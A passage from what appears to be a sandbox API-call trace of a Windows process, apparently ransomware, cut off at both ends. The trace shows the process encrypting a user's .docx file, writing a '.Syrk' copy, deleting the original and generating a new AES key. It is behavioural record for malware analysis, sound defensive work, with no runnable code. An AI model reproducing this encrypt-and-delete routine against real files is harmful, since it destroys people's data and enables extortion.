lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", lpFilePart=0x0) returned 0x47 [0223.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0223.430] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0223.431] GetFileType (hFile=0x458) returned 0x1 [0223.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0223.431] GetFileType (hFile=0x458) returned 0x1 [0223.431] EtwEventActivityIdControl () returned 0x0 [0223.431] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x24874f8 | out: pbBuffer=0x24874f8) returned 1 [0223.433] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.433] CryptDuplicateKey (in: hKey=0x5c69440, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x3b5028) returned 1 [0223.433] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.433] CryptSetKeyParam (hKey=0x3b5028, dwParam=0x4, pbData=0x2488830*=0x1, dwFlags=0x0) returned 1 [0223.433] CryptSetKeyParam (hKey=0x3b5028, dwParam=0x1, pbData=0x24887fc, dwFlags=0x0) returned 1 [0223.433] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.434] EtwEventActivityIdControl () returned 0x0 [0223.434] EtwEventActivityIdControl () returned 0x0 [0223.434] EtwEventActivityIdControl () returned 0x0 [0223.435] EtwEventActivityIdControl () returned 0x0 [0223.435] ReadFile (in: hFile=0x454, lpBuffer=0x248b46c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248b46c*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0223.438] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x249f484*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x249f484*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0223.439] WriteFile (in: hFile=0x458, lpBuffer=0x24875e0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24875e0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0223.441] WriteFile (in: hFile=0x458, lpBuffer=0x24a0470*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24a0470*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0223.443] ReadFile (in: hFile=0x454, lpBuffer=0x248b46c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248b46c*, lpNumberOfBytesRead=0x5a2e7d8*=0x29dc, lpOverlapped=0x0) returned 1 [0223.444] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24b349c*, pdwDataLen=0x5a2e7cc*=0x29d0, dwBufLen=0x29d0 | out: pbData=0x24b349c*, pdwDataLen=0x5a2e7cc*=0x29d0) returned 1 [0223.444] WriteFile (in: hFile=0x458, lpBuffer=0x24b349c*, nNumberOfBytesToWrite=0x29d0, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x24b349c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x29d0, lpOverlapped=0x0) returned 1 [0223.445] ReadFile (in: hFile=0x454, lpBuffer=0x248b46c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x248b46c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0223.445] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x24b5e78*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x24b5e78*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0223.445] CryptEncrypt (in: hKey=0x3b5028, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24b5e94*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x24b5e94*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0223.445] WriteFile (in: hFile=0x458, lpBuffer=0x24875e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x24875e0*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0223.445] CloseHandle (hObject=0x458) returned 1 [0223.448] CloseHandle (hObject=0x454) returned 1 [0223.448] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.448] EtwEventActivityIdControl () returned 0x0 [0223.448] EtwEventActivityIdControl () returned 0x0 [0223.448] EtwEventActivityIdControl () returned 0x0 [0223.455] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0223.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.457] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.458] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.458] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0223.458] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0223.458] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0223.458] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.458] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0223.458] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0223.458] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0223.458] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.459] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0223.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0223.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0223.459] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.459] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0223.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0223.459] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0223.459] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.459] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0223.460] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.460] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0223.460] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0223.460] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0223.460] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0223.461] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0223.461] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.461] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0223.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.464] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.464] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0223.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0223.464] CoTaskMemAlloc (cb=0x404) returned 0x5c99488 [0223.464] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99488, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0223.465] CoTaskMemFree (pv=0x5c99488) [0223.466] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 0x20 [0223.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0223.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx", lpFilePart=0x0) returned 0x42 [0223.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0223.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx"), fInfoLevelId=0x0, lpFileInformation=0x24c5a1c | out: lpFileInformation=0x24c5a1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa76a280, ftCreationTime.dwHighDateTime=0x1d98f1f, ftLastAccessTime.dwLowDateTime=0x94553720, ftLastAccessTime.dwHighDateTime=0x1d9966b, ftLastWriteTime.dwLowDateTime=0x94553720, ftLastWriteTime.dwHighDateTime=0x1d9966b, nFileSizeHigh=0x0, nFileSizeLow=0x169dc)) returned 1 [0223.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0223.467] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx")) returned 1 [0223.549] EtwEventActivityIdControl () returned 0x0 [0223.549] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.549] EtwEventActivityIdControl () returned 0x0 [0223.549] EtwEventActivityIdControl () returned 0x0 [0223.550] EtwEventActivityIdControl () returned 0x0 [0223.557] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx.syrk")) returned 0x20 [0223.558] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx.syrk")) returned 0x20 [0223.558] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0223.558] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", nBufferLength=0x48, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk", lpFilePart=0x0) returned 0x47 [0223.559] EtwEventActivityIdControl () returned 0x0 [0223.559] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.559] EtwEventActivityIdControl () returned 0x0 [0223.559] EtwEventActivityIdControl () returned 0x0 [0223.559] EtwEventActivityIdControl () returned 0x0 [0223.563] EtwEventActivityIdControl () returned 0x0 [0223.563] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.563] EtwEventActivityIdControl () returned 0x0 [0223.563] EtwEventActivityIdControl () returned 0x0 [0223.563] EtwEventActivityIdControl () returned 0x0 [0223.567] EtwEventActivityIdControl () returned 0x0 [0223.567] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.568] EtwEventActivityIdControl () returned 0x0 [0223.568] EtwEventActivityIdControl () returned 0x0 [0223.568] EtwEventActivityIdControl () returned 0x0 [0223.571] EtwEventActivityIdControl () returned 0x0 [0223.572] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.572] EtwEventActivityIdControl () returned 0x0 [0223.572] EtwEventActivityIdControl () returned 0x0 [0223.572] EtwEventActivityIdControl () returned 0x0 [0223.575] EtwEventActivityIdControl () returned 0x0 [0223.576] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.576] EtwEventActivityIdControl () returned 0x0 [0223.576] EtwEventActivityIdControl () returned 0x0 [0223.576] EtwEventActivityIdControl () returned 0x0 [0223.589] EtwEventActivityIdControl () returned 0x0 [0223.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0223.593] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\vztlNW.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\vztlnw.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24d3060 | out: lpFileInformation=0x24d3060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14bf530, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x14bf530, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14e5690, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x169f4)) returned 1 [0223.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0223.594] GetConsoleOutputCP () returned 0x1b5 [0223.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.643] GetConsoleOutputCP () returned 0x1b5 [0223.643] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.643] GetConsoleOutputCP () returned 0x1b5 [0223.644] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.644] GetConsoleOutputCP () returned 0x1b5 [0223.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.645] GetConsoleOutputCP () returned 0x1b5 [0223.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.645] GetConsoleOutputCP () returned 0x1b5 [0223.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.645] GetConsoleOutputCP () returned 0x1b5 [0223.645] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.645] GetConsoleOutputCP () returned 0x1b5 [0223.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.646] GetConsoleOutputCP () returned 0x1b5 [0223.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.646] GetConsoleOutputCP () returned 0x1b5 [0223.646] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.646] GetConsoleOutputCP () returned 0x1b5 [0223.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.647] GetConsoleOutputCP () returned 0x1b5 [0223.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.647] GetConsoleOutputCP () returned 0x1b5 [0223.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0223.647] GetConsoleOutputCP () returned 0x1b5 [0223.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0223.647] GetConsoleOutputCP () returned 0x1b5 [0223.647] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.647] GetConsoleOutputCP () returned 0x1b5 [0223.648] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0223.648] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0223.648] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0223.648] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24eccdc*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x24eccdc*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0223.649] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0223.649] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0223.650] EtwEventActivityIdControl () returned 0x0 [0223.650] EtwEventActivityIdControl () returned 0x0 [0223.650] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.651] EtwEventActivityIdControl () returned 0x0 [0223.651] EtwEventActivityIdControl () returned 0x0 [0223.651] EtwEventActivityIdControl () returned 0x0 [0223.652] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.653] EtwEventActivityIdControl () returned 0x0 [0223.653] EtwEventActivityIdControl () returned 0x0 [0223.653] EtwEventActivityIdControl () returned 0x0 [0223.655] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0223.656] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x3b5068) returned 1 [0223.656] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0223.656] CryptExportKey (in: hKey=0x3b5068, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, 